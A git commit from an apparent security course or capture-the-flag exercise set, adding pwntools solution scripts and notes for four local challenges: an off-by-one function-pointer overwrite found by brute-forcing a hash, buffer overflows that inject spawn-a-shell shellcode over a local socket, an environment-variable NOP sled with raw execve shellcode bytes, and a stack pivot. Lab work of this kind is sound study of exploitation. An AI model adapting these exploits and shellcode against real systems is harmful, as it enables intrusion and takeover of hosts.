almost done with p4

This commit is contained in:
Kaushik Narayan R 2024-12-08 20:30:51 -07:00
parent dea92529a1
commit a4b9c1502b
5 changed files with 245 additions and 0 deletions

81
4.40/gen_hash_string.py Normal file
View File

@ -0,0 +1,81 @@
global_ring_buffer_size = 32
def init():
global_ring_buffer = [0x0] * global_ring_buffer_size
global_ring_buffer.append(global_ring_buffer_initial_suffix)
return global_ring_buffer
def my_awesome_hash(s, n):
hash = 0x9980C25E1B3501DA
global_ring_buffer = init()
for i in range(0, n):
hash ^= ord(s[i])
hash = (hash << 9) ^ (hash >> 5)
hash += 17
hash ^= 0xDEADBEEFC0DEBABE
hash &= 0xFFFFFFFFFFFFFFFF
temp = []
for k in range(len(hex(hash)), 0, -2):
temp.append(hex(hash)[k - 2 : k])
for j in range(0, 8):
pos = j + i
if pos > global_ring_buffer_size:
pos = 0
global_ring_buffer[pos] = temp[j]
return global_ring_buffer
import string
letters = string.ascii_letters + string.digits
letters_len = len(letters)
def get_string(num, length):
s = ""
while len(s) < length:
s += letters[num % letters_len]
num = num // letters_len
s = s[::-1]
return s
def get_solution(length, replace_text):
possibilities = letters_len**length
s = ""
for num in range(0, possibilities):
s = get_string(num, length)
global_ring_buffer = my_awesome_hash(s, len(s))
if global_ring_buffer[global_ring_buffer_size] == replace_text:
return s
# Open one terminal
print("gdb /challenge/run")
print("break main")
print("run a")
print("p &my_exit")
# (void (*)()) 0x401191 <my_exit>
print("p &give_me_a_shell")
# (void (*)()) 0x401176 <give_me_a_shell>
# Need to replace 91 with 76 to spawn shell
global_ring_buffer_initial_suffix = 0x91
global_ring_buffer_hash_target_suffix = "76"
print(
"/challenge/run",
get_solution(global_ring_buffer_size, global_ring_buffer_hash_target_suffix),
)
print("cat /flag")

34
4.41/soln.py Normal file
View File

@ -0,0 +1,34 @@
from pwn import *
context.arch = "amd64"
shellcode = asm(shellcraft.sh())
host = "localhost"
port = 1337
target = remote(host, port)
buf_size = 0x10000 # 65536
main_rsp_addr = 0x7FFD96C87C10 # given by program
child_stack_offset = 0x10020 # space for the large buffer, check in GDB
child_rsp_addr = main_rsp_addr - child_stack_offset
buf_addr = child_rsp_addr # buffer is at start of forked child's stack, check in GDB
saved_rip_offset = 0x10018 # offset of saved rip from forked child's rsp, check in GDB
shellcode_addr = p64(buf_addr)
payload = (
shellcode
+ b"a" * (buf_size - len(shellcode)) # padding, fill the buffer after the shellcode
+ b"b"
* (saved_rip_offset - buf_size) # padding, fill gap between buffer and saved rip
+ shellcode_addr
)
print(len(payload))
target.sendline(payload)
target.interactive()

37
4.42/soln.py Normal file
View File

@ -0,0 +1,37 @@
from pwn import *
context.arch = "amd64"
# observed range of offsets are smaller than before
# NOP sled with comfortable room for error
sled_len = 0x5000
# BEFORE PROCEEDING, STOP AND DO THIS AND THEN REEXECUTE THE CHALLENGE EXE
# place shellcode in environment to get around buffer limit
# export SHELLCODE_CMD=$(python3 -c "import sys; sys.stdout.buffer.write(b'\x90' * 0x5000 + b'\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05')")
host = "localhost"
port = 1337
# io = start(env={"SHELLCODE_CMD": payload})
buf_size = 0x10 # 16
main_rsp_addr = 0x7fff4333fc80 # given by program
target_env_addr_proximity = main_rsp_addr + sled_len
saved_rip_offset = 0x28
payload = (
b"a" * (buf_size) # padding, fill the buffer
+ b"b" * (saved_rip_offset - buf_size) # padding, fill gap between buffer and saved rip
+ p64(target_env_addr_proximity)
)
print(payload)
target = remote(host, port)
target.sendline(payload)
target.interactive()

65
4.43/soln.py Normal file
View File

@ -0,0 +1,65 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template /challenge/run
import os
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or '/challenge/run')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX unknown - GNU_STACK missing
# PIE: No PIE (0x400000)
# Stack: Executable
# RWX: Has RWX segments
# NOP sled with comfortable room for error
sled_len = 0x5000
nop_sled = b"\x90" * sled_len
shellcode = asm(shellcraft.sh())
payload = nop_sled + shellcode
io = start(["testing"], env={"SHELLCODE_CMD": payload})
io.recvuntil(b"for you: ")
rsp_line = io.recvline()[:-1]
rsp_hex = int(rsp_line, 16)
print("Received rsp address:", rsp_line)
target_shellcode_sled = rsp_hex + sled_len
final_payload = p64(target_shellcode_sled) * 0x34 # why does normal padding not work here?
io.sendline(final_payload)
io.interactive()

View File

@ -721,3 +721,31 @@ payload = input_str + padding + input_str_hash
- where else can we put it? - where else can we put it?
- one solution is to place shellcode in an env variable and preface it with a sufficiently large NOP sled - one solution is to place shellcode in an env variable and preface it with a sufficiently large NOP sled
- then overwrite saved rip with this shellcode's location, or at least its proximity so that it gets caught in the NOP sled - then overwrite saved rip with this shellcode's location, or at least its proximity so that it gets caught in the NOP sled
### .40 - one step too many
- off by one vuln (checks `index_pos > sizeof(buffer)` for out of bounds, when it should be `>=`)
- control program flow (exit func ptr)
- current exit ptr is `0x401191`, target fn is at `0x401176`
- last byte alone needs to be changed
- bruteforce - generate hashes as specified, then check for a hash that ends with the `76` byte
- boom, string
### .41 - little dipper
- buffer overflow + shellcode injection, over the network
- rsp is given by the program, but it's of the caller stack frame of the function that contains the buffer overflow
- no matter, we calculate the offset
- standard injection after that, only difference is over network
### .42 - big dipper
- same as before, but buffer is too small for usual shellcode
- so use the technique from 4.39, i.e. placing shellcode in an environment variable
- place similar NOP sled and shellcode yada yada
### .43 - twist and shout
- stack pivot + shellcode
- can't overwrite saved rip but can overwrite rbp
- use it to repeatedly pop into rsp when leaving, thus making it reach the shellcode